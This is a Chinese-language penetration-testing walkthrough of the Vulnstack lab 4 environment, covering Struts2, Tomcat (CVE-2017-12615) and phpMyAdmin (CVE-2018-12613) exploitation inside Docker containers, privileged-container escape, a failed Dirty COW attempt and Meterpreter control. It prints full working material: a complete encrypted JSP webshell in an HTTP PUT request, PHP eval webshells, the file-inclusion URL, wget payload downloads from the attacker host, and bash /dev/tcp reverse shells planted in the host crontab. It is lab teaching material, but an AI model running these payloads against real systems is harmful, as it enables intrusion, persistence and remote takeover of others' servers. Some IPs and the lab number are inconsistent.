万字讲解内网横向渗透vulnstack(四):红日靶场4实战全流程1-环境搭建+MSF控制Web服务器+Docker逃逸(CVE-2018-12613)

目录

一、拓扑搭建

1、拓扑图

2、角色表

3、环境搭建

(1)网络适配器配置

①修改Web的网卡配置

②修改DC网卡

③修改Win7网卡

(2)配置网段

①编辑虚拟网络编辑器

[② vmnet1网卡](#② vmnet1网卡)

3、Web服务配置

(1)配置web虚拟机的网络

(2)查看ip地址

4、清空cs数据

二、信息搜集

1、探测存活主机

2、探测端口

3、探测服务

(1)2001端口

(2)2002端口

(3)2003端口

三、struts服务(2001端口)GetShell

1、检测漏洞

2、上传木马

3、连接冰蝎

4、发现docker

5、docker特权模式检测

四、tomcat服务(2002端口)GetShell

1、构造报文

2、bp抓包,将报文发送到repeater

3、上传木马

4、连接冰蝎

5、发现docker

6、dockert特权模式检测

7、docker逃逸

[(1)fdisk -l](#(1)fdisk -l)

(2)挂在宿主机磁盘

(3)攻击机监听

(4)向宿主机写入定时任务

(5)反弹shell建立成功

[五、phpmyadmin服务(2003端口 CVE-2018-12613)GetShell](#五、phpmyadmin服务(2003端口 CVE-2018-12613)GetShell)

1、漏洞原理

2、访问server_sql.php

3、写入木马

4、访问session文件生成木马

5、连接蚁剑

6、发现Docker环境

7、查看docker特权模式

8、Docker逃逸

(1)攻击机开启监听

(2)脏牛docker逃逸

(3)更新源+软件包

(4)更新软件包

(5)重新编译

(6)逃逸失败

六、MSF控制Web服务器

1、MSF生成木马

2、下载木马文件

4、MSF开启监听

4、Web服务器执行msf.elf

5、MSF监听成功

七、Docker特权模式逃逸总结

1、环境探测与权限确认

2、挂载宿主机文件系统

3、修改宿主机文件实现控制


本文通过红日靶场3的实战演练,通过Kali攻击机对外部Ubuntu跳板机上的三个Docker容器服务(Struts2、Tomcat、PHPMyAdmin)发起攻击。成功控制容器后,利用特权模式逃逸技术突破Ubuntu主机,进而渗透内网中的Windows7工作站和Windows Server2008域控制器。测试过程展示了从外网到内网、容器到主机的完整攻击链,涉及Struts2文件上传、Tomcat配置漏洞、PHPMyAdmin本地文件包含(CVE-2018-12613)等多种漏洞利用技术,重点检验了容器逃逸、权限维持和内网横向移动等关键攻防能力。整个环境采用双网卡跳板机设计,模拟真实企业网络架构,为全面评估网络安全防护能力提供了有效测试平台。

一、拓扑搭建

1、拓扑图

本渗透测试环境构建了一个典型的多层网络攻防场景。Kali攻击机位于外部网络,首先针对Ubuntu跳板机上的三个Docker容器服务(Struts2-2001端口、Tomcat-2002端口、PHPMyAdmin-2003端口)发起攻击,在获取容器权限后需要完成Docker逃逸和Ubuntu主机Root提权。成功控制这台双网卡跳板机后,攻击者以其为桥头堡渗透内部网络,依次横向移动至Windows 7工作站和Windows Server 2008域控制器,分别利用MS14-068、Zerologon和永恒之蓝漏洞实现权限提升,最终完成从外网到内网、从容器到主机的完整攻击链,全面检验容器安全、权限维持和内网横向移动等关键攻防能力。

复制代码
graph LR
    subgraph External Network [Vmnet2: 192.168.59.0/24]
        A[Kali攻击机<br/>192.168.59.128]
    end
    
    subgraph Web Jump Server
        B[Web跳板机 Ubuntu<br/>外网:192.168.59.139]
        C[Web跳板机 Ubuntu<br/>内网:192.168.183.128]
        
        subgraph Docker Containers
            D1[Struts2容器<br/>端口:2001]
            D2[Tomcat容器<br/>端口:2002]
            D3[PHPMyAdmin容器<br/>端口:2003]
        end
    end
    
    subgraph Internal Network [Vmnet1: 192.168.183.0/24]
        E[内网目标Win7<br/>192.168.183.129<br/>MS14-068/永恒之蓝]
        F[内网DC目标<br/>192.168.183.130<br/>Zerologon/永恒之蓝]
    end
    
    A -->|攻击2001-2003端口| B
    B -->|Docker逃逸| C
    D1 -->|容器漏洞| B
    D2 -->|容器漏洞| B
    D3 -->|容器漏洞| B
    C -->|横向移动| E
    C -->|横向移动| F
    E -->|内网渗透| F

2、角色表

| IP地址 | 网卡配置 | 网卡 | 漏洞/特性 |
|--------------|--------------------------------------------------|--------|----------------------------------------------------------------------------|----------------|
| Kali攻击机 | 192.168.59.128 | Vmnet2 | Kali Linux | 直接攻击源 |
| Web跳板机 | 192.168.59.139 (Vmnet2) 192.168.183.128 (Vmnet1) | 双网卡 | Ubuntu Tomcat(docker2002端口) Struts2(docker2002端口) phpMyAdmin(docker2003端口) | 内外网中转 |
| 内网目标Win7 | 192.168.183.129 | Vmnet1 | Windows 7 | MS14-068 永恒之蓝 |
| 内网DC目标 | 192.168.183.130 | Vmnet1 | Windows Server 2008 | Zerologon 永恒之蓝 |

3、环境搭建

(1)网络适配器配置

①修改Web的网卡配置

Web为跳板机,两个网卡分别设置为主机模式vmnet1和vmnet2,具体如下所示。

②修改DC网卡

将网卡配置为主机模式(Vmnet1),具体如下所示。

③修改Win7网卡

将网卡配置为主机模式(Vmnet1),具体如下所示。

(2)配置网段

①编辑虚拟网络编辑器

点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

② vmnet1网卡

将vmnet1网段改为192.168.183.0/24,如下所示。

3、Web服务配置

(1)配置web虚拟机的网络

打开Web服务虚拟机,输入密码ubuntu登录系统。进入系统后按Windows键,输入terminal,进入shell页面,如下所示。

首先输入sudo su进入特权模式,然后使用docker ps -a查看所有容器,如下图红框所示。为了方便使用,可以右键将其固定到任务栏中,如下所示。

使用sudo docker start ec 17 09 命令启动服务,启动后使用docker ps查看启动效果,如下所示启动成功。

(2)查看ip地址

使用ifconfig eth0和ifconfig eth1查看ip地址,如下所示。

4、清空cs数据

报告-清空数据,并删除所有之前的会话。

二、信息搜集

1、探测存活主机

nmap 192.168.59.0/24 发现ip地址为192.168.111.139,如下所示。

复制代码
nmap -sn 192.168.59.0/24

2、探测端口

对192.168.59.139进行常用端口探测,如下所示出现敏感端口号22、2001,2002,2003

复制代码
nmap 192.168.59.139

3、探测服务

(1)2001端口

访问http://192.168.59.139:2001 提示这是一个struts2的文件上传页面,如下所示。

复制代码
http://192.168.59.139:2001

(2)2002端口

访问http://192.168.59.139:2002 提示这是一个tomcat页面,如下所示。

复制代码
http://192.168.59.139:2002 

(3)2003端口

访问http://192.168.59.139:2003 提示这是一个phpmyadmin页面,但是有报错,如下所示。

复制代码
http://192.168.59.139:2003 

需要修复一下,进入到/home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613目录中,重启容器。

|------------------------------------------------------------------------------------------------|
| cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613 docker-compose down docker-compose up |

再次访问http://192.168.59.139:2003 如下所示,这次成功了,且发现phpmyadmin版本为4.8.1。

三、struts服务(2001端口)GetShell

1、检测漏洞

在目标网址输入http://192.168.59.139:2001/ 点击检测漏洞,输入如下所示。

复制代码
http://192.168.59.139:2001/

2、上传木马

将冰蝎木马上传,在输入框中粘贴冰蝎木马shell.jsp的内容,将木马命名为mooyuan.jsp,点击上传,提示上传成功,如下所示。

复制代码
URL地址:http://192.168.59.139:2001/mooyuan.jsp
密码:rebeyond

3、连接冰蝎

4、发现docker

输入ls --al /发现docker文件,说明这是一个docker环境。因为当Docker容器启动时,Docker引擎会自动在容器根目录下创建这个.dockerenv文件,通常被用来指示当前进程正在 Docker 容器中运行。

5、docker特权模式检测

(1)Docker特权模式简介

Docker 特权模式是一种高风险的容器运行模式。当使用 --privileged 标志启动容器时,意味着:

  • 能力全开 :容器将获得 Linux 内核的所有能力。

  • 设备访问:容器可以访问主机上的所有设备。

  • 安全机制解除:很多安全限制(如 AppArmor、Seccomp)会被禁用。

(2)检测特权模式

执行whoami返回root用户,执行cat /proc/self/status | grep CapEff查看效果

一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。故而本环境无法进行逃逸。

四、tomcat服务(2002端口)GetShell

uCVE-2017-12615 是一个典型的 "配置不当"+"安全绕过" 型漏洞。其核心在于管理员或开发人员为了功能便利而牺牲了安全性(将 readonly 设为 false),而 Tomcat 自身的安全防护机制又存在可被绕过的缺陷,最终导致攻击者可以轻松上传 WebShell,完全控制服务器。

1、构造报文

启动bp,同时浏览器配置bp代理,构造协议,在浏览器地址栏中输入ljn.jsp然后点击执行。

2、bp抓包,将报文发送到repeater

3、上传木马

在repeater中将GET协议,改为PUT协议并在ljn.jsp后加上/, 将冰蝎中的shell.jsp内容复制粘贴到PUT报文的data数据中,并点击发送,返回http状态为201说明上传成功,如下所示。

Tomcat 在处理路径时,会认为以 / 结尾的是一个目录,从而允许上传。但在文件系统层面,它最终会被创建为一个名为 ljn.jsp 的文件。完整的burpsuite发包内容如下所示。

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PUT /ljn.jsp/ HTTP/1.1 Host: 192.168.59.139:2002 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 592 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> |

4、连接冰蝎

木马的密码为rebeyond,将木马的url链接添加到冰蝎中

复制代码
http://192.168.71.129:2022/ljn.jsp

添加后双击该冰蝎会话,显示如下所示,说明冰蝎木马连接成功。

5、发现docker

输入ls --al /发现docker文件,说明这是一个docker环境。因为当Docker容器启动时,Docker引擎会自动在容器根目录下创建这个.dockerenv文件,通常被用来指示当前进程正在 Docker 容器中运行。

6、dockert特权模式检测

执行whoami返回root用户,执行cat /proc/self/status | grep CapEff查看效果,一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动

7、docker逃逸

(1)fdisk -l

使用fdisk -l 快速查看系统中有哪些磁盘和分区,这是因为 攻击者在容器内执行 fdisk -l。由于容器运行在特权模式下,它能够直接看到宿主机的物理磁盘设备。

通过fdisk -l获知宿主机磁盘为/dev/sda,其主分区sda1正是8G的Linux根文件系统。在Docker特权模式下,此信息成为逃逸关键:攻击者可据此直接挂载sda1至容器目录,从而获得宿主机文件系统的完全读写权限,进而植入SSH密钥、篡改计划任务或写入恶意程序,彻底突破容器隔离屏障,实现权限提升与环境逃逸。

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| fdisk -l Disk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x00063af9 Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 16779263 16777216 8G 83 Linux /dev/sda2 16781310 20969471 4188162 2G 5 Extended /dev/sda5 16781312 20969471 4188160 2G 82 Linux swap / Solaris |

通过fdisk -l获知宿主机磁盘为/dev/sda,其主分区sda1正是8G的Linux根文件系统。在Docker特权模式下,此信息成为逃逸关键:攻击者可据此直接挂载sda1至容器目录,从而获得宿主机文件系统的完全读写权限,进而植入SSH密钥、篡改计划任务或写入恶意程序,彻底突破容器隔离屏障,实现权限提升与环境逃逸。

  • 主要目标/dev/sda1 - 这是宿主机的根文件系统所在分区

  • 文件系统类型83 Linux 表示标准的 Linux 文件系统(通常是 ext4)

  • /dev/sda1 被标记为可启动Boot 列有 * 号),进一步确认这是系统主分区

分区 类型 大小 用途说明
/dev/sda1 83 Linux 8G 宿主机的根文件系统(主要目标)
/dev/sda2 5 Extended 2G 扩展分区容器
/dev/sda5 82 Linux swap 2G 交换分区

(2)挂在宿主机磁盘

将宿主机磁盘挂载到/ljn目录下

|---------------------------------|
| mkdir /ljn mount /dev/sda1 /ljn |

(3)攻击机监听

接下来计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

复制代码
nc -lvvp 6666

(4)向宿主机写入定时任务

执行bash -i >& /dev/tcp/192.168.59.128/6666 0>&1命令后可以与kali建立shell连接,由于我们希望实现宿主机与kaili建立攻击机,故而我们将内容写入到宿主机的磁盘中的定时任务中,命令如下所示。

|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| touch /ljn/ljn.sh echo "bash -i >& /dev/tcp/192.168.59.128/6666 0>&1" >/ljn/ljn.sh echo "* * * * * root bash /ljn.sh" >> /ljn/etc/crontab |

查看文件内容,如下所示写入成功。

(5)反弹shell建立成功

此时查看kali攻击机监听,已经连接成功,输入命令whoami,ipaddr返回正确结果,说明渗透成功.

发现另一个内网ip地址192.168.183.128,说明内网网段为192.168.183.0/24。

五、phpmyadmin服务(2003端口 CVE-2018-12613)GetShell

1、漏洞原理

本次利用PHPMyAdmin 4.8.x版本中存在的本地文件包含漏洞(CVE-2018-12613),通过精心构造的请求将服务器上的Session文件包含并执行,进而利用MySQL日志功能创建Webshell。具体攻击流程如下:

  • Session信息获取 :通过Cookie获得PHPMyAdmin的Session值(sess_XXXX),确认Session文件路径为/tmp/sess_XXXX

  • 漏洞触发与文件包含 :构造特制URL触发本地文件包含漏洞,通过target参数包含服务器上的Session文件:

    复制代码
    http://target/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_XXXX
  • Webshell直接写入 :通过包含的Session文件执行SQL查询,利用PHP的file_put_contents函数直接创建Webshell:

    复制代码
    SELECT "<?php file_put_contents('/var/www/html/mooyuan.php','<?php @eval($_POST[ljn]);?>')?>"
  • 后门访问 :成功在Web目录创建mooyuan.php后门文件,攻击者可通过POST方式传递参数执行系统命令:

    复制代码
    http://target/mooyuan.php
    POST: ljn=system('whoami');

2、访问server_sql.php

访问目标URL http://192.168.59.139:2003/server_sql.php,查看Cookie值。

复制代码
http://192.168.59.139:2003/server_sql.php

本次我们选择使用"右键-元素-网络"来查看,步骤如下所示。

点击重新载入或者刷新页面,进入到如下页面,点击当前报文index.php,在页面底部的右方点击cookies。在cookie中获取到phpmyadmin值3c1b4424c30833f7ecfeee09b9c8a9bb。

故而session文件位置为/tmp/sess_3c1b4424c30833f7ecfeee09b9c8a9bb。

3、写入木马

我们执行如下命令写入生成木马的SQL语句,利用PHPMyAdmin的SQL执行功能,向数据库发送特制查询SELECT "<?php file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST[cmd]);?>')?>",具体如下所示。

|---------------------------------------------------------------------------------------------------------|
| select "<?php file_put_contents('/var/www/html/mooyuan.php','<?php @eval($_POST[ljn]);?>')?>" |

4、访问session文件生成木马

基于CVE-2018-12613漏洞原理,构造特制攻击URL。其中通过双重URL编码绕过过滤,使用路径遍历序列定位到Session文件。

复制代码
http://192.168.59.139:2003/?target=db_sql.php%253f/../../../../../../../../tmp/sess_3c1b4424c30833f7ecfeee09b9c8a9bb

在成功包含Session文件后,会解析并执行Session文件中的PHP代码利用PHP函数,在Web根目录直接创建名为shell.php的Webshell,该后门支持通过POST参数执行任意系统命令。

这一步要特别注意,要多执行一两次,因为写入到session需要时间,如下所示,进入docker查看确实成功生成木马文件mooyuan.php,密码为ljn,木马内容为<?php @eval($_POST[ljn]);?>

5、连接蚁剑

复制代码
http://192.168.59.139:2003/mooyuan.php
密码ljn

6、发现Docker环境

在蚁剑工具的虚拟终端中执行ls -a /命令,发现docker文件,说明这是个Docker环境。

7、查看docker特权模式

执行whoami返回www-data用户,执行cat /proc/self/status | grep CapEff查看效果

一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。故而本环境无法进行特权模式逃逸。

8、Docker逃逸

(1)攻击机开启监听

接下来计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

(2)脏牛docker逃逸

dirtycow-docker-vdso工具是一个利用 Dirty COW (CVE-2016-5195) 漏洞实现 Docker 容器逃逸 的 Proof-of-Concept (概念验证) 代码。它不像传统利用那样修改磁盘文件,而是通过篡改内存中的 vDSO 来让宿主机上的进程主动连接攻击者,从而获得一个宿主机上的 root shell。

复制代码
https://github.com/scumjr/dirtycow-vdso

将源码下载到docker环境中并解压,如下所示:

复制代码
​wget http://192.168.59.128:8888/dirty.tar.gz
tar xvf dirty.tar.gz
cd dirtycow-docker-vdso

在项目目录下执行make编译命令,如下所示报错。

(3)更新源+软件包

复制代码
cp /etc/apt/sources.list /etc/apt/sources.list.backup

# 使用 archive.debian.org 的源(适用于旧版 Debian)
cat > /etc/apt/sources.list << 'EOF'
deb http://archive.debian.org/debian stretch main
deb http://archive.debian.org/debian-security stretch/updates main
EOF

(4)更新软件包

复制代码
# 更新软件包列表
apt-get update

# 安装 vim-common(包含 xxd)
apt-get install -y vim-common --allow-unauthenticated

(5)重新编译

再次执行make进行重新编译,如下所示编译成功。

(6)逃逸失败

复制代码
chmod +x 0xdeadbeef                                   # 第一步:赋予可执行权限
./ 0xdeadbeef 192.168.59.128 1234       # 第二步:运行程序并传入参数

脏牛漏洞docker逃逸失败

六、MSF控制Web服务器

1、MSF生成木马

利用MSFVenom工具生成一个针对Linux x64系统的Meterpreter反向TCP连接载荷,命令如下。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o shell.elf

2、下载木马文件

攻击机(192.168.59.128)在shell.elf的目录中开启httpWeb服务,开启后在Web服务器(192.168.59.139)中执行wget http://192.168.59.128:8888/shell.elf 下载木马文件。

4、MSF开启监听

在Metasploit框架中配置并启动一个恶意载荷监听器,通过设置windows/x64/meterpreter/reverse_tcp载荷与LHOST、LPORT参数,持续监听本机4444端口的反向TCP连接,当目标系统执行匹配的木马程序后,将自动回连并建立完整的Meterpreter远程控制会话。

复制代码
msfconsole                                         
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.59.128
set LPORT 4444
run

4、Web服务器执行msf.elf

Web服务器执行shell.elf,如下所示。

5、MSF监听成功

输入getuid返回root用户,如下所示渗透成功。

七、Docker特权模式逃逸总结

1、环境探测与权限确认

在成功获取容器内的Shell访问权限后,首先需要评估当前容器的权限级别。通过执行 cat /proc/self/status | grep CapEff 命令检查能力位图,若返回值为 0000003fffffffff 等接近全权限的掩码,则确认容器以特权模式运行。

复制代码
cat /proc/self/status | grep CapEff 

同时使用 fdisk -l 查看可用磁盘设备,为后续挂载操作做好准备,这是判断逃逸可行性的关键第一步。返回结果中会看到宿主机的硬盘 /dev/sda1等设备。在非特权容器中,你无法看到或访问这些设备。

复制代码
fdisk -l

fdisk -l 命令用于列出系统中所有磁盘分区表的详细信息,在 Docker 逃逸中,其核心作用是识别宿主机的物理磁盘设备,为挂载宿主机文件系统做准备 。当容器以特权模式运行时,该命令能直接显示宿主机真实的磁盘设备(如 /dev/sda1/dev/vda1),攻击者通过将这些设备挂载到容器内部,即可突破隔离限制访问宿主机完整文件系统,这是实现挂载逃逸的关键第一步。

2、挂载宿主机文件系统

确认特权模式后,在容器内创建临时目录作为挂载点(如 /ljn)。使用 mount 命令将宿主机的物理磁盘(如 /dev/sda1 )挂载到该目录。此操作成功的关键在于特权模式绕过了设备访问限制,使得容器能够直接访问宿主机的存储设备,从而建立起从容器到主机文件系统的桥梁。

复制代码
mkdir /ljn
mount /dev/sda1 /ljn

该命令首先创建挂载点目录 /ljn,随后将宿主机的物理磁盘设备 /dev/sda1 挂载至该目录,从而突破容器文件系统隔离限制,直接访问和操作宿主机根文件系统,为后续写入定时任务或植入恶意程序奠定基础。

3、修改宿主机文件实现控制

使用cd /ljn即进入到宿主机的文件系统,可以访问所有文件、配置和二进制程序。为了建立持久化控制,通常会向主机的 /root/.ssh/authorized_keys 写入SSH公钥,或创建计划任务/系统服务来维持访问权限。本关卡使用定时任务来获取控制权。

复制代码
修改计划任务:crontab -e
运行反弹 Shell 到主机:bash -c 'bash -i >& /dev/tcp/攻击机IP/端口 0>&1'

以本关卡为例,写入定时脚本的方法如下所示。命令序列通过创建恶意脚本文件(/ljn/ljn.sh)并向其中写入反弹Shell指令,随后通过修改容器内crontab配置文件(/ljn/etc/crontab)植入每分钟执行一次的定时任务,实现向攻击主机192.168.59.128的6666端口建立持久化反向连接,最终完成从容器到宿主机或外部网络的权限突破与维持。

复制代码
touch /ljn/ljn.sh
echo "bash -i >& /dev/tcp/192.168.59.128/6666 0>&1" >/ljn/ljn.sh
echo "* * * * * root bash /ljn.sh" >> /ljn/etc/crontab
相关推荐
mooyuan天天10 小时前
万字讲解内网横向渗透vulnstack(七):红日靶场7实战全流程2-MSF上线Web1/Web2/PC1
内网渗透·横向移动·红日靶场·红日靶场7
mooyuan天天1 天前
万字讲解内网横向渗透vulnstack(四):红日靶场4实战全流程3-横向移动 zerologon法(CVE-2020-1472)
frp·内网渗透·横向移动·fscan·红日靶场·zerologon·cve-2020-1472
mooyuan天天1 天前
万字讲解内网横向渗透vulnstack(三):红日靶场3实战全流程(Zerologon法 CVE-2020-1472)
内网渗透·横向移动·红日靶场·红日靶场3·joomla漏洞·zerologon·cve-2020-1472
mooyuan天天5 天前
万字讲解内网横向渗透vulnstack(一):红日靶场1实战全流程3-横向移动(SMB监听法)
内网渗透·横向移动·红日靶场·smb监听
mooyuan天天6 天前
万字讲解内网横向渗透vulnstack(一):红日靶场1实战全流程1-环境搭建+CS上线Web服务+信息搜集
内网渗透·横向移动·phpmyadmin·红日靶场
mooyuan天天6 天前
万字讲解内网横向渗透vulnstack(一):红日靶场1实战全流程2-横向移动-永恒之蓝法(CVE-2017-0143)
内网渗透·fscan·永恒之蓝·红日靶场·横向渗透·cve-2017-0143
mooyuan天天7 天前
万字讲解内网横向渗透:vulnstack二(红日靶场2)实战全流程
内网渗透·横向移动·红日靶场2
mooyuan天天7 天前
万字讲解内网横向渗透vulnstack(二):红日靶场2实战全流程3(权限维持之黄金票据)
内网渗透·横向移动·黄金票据·kerberos认证·红日靶场2
mooyuan天天7 天前
万字讲解内网横向渗透vulnstack(二):红日靶场2实战全流程2(SMB中转法)
内网渗透·横向移动·红日靶场2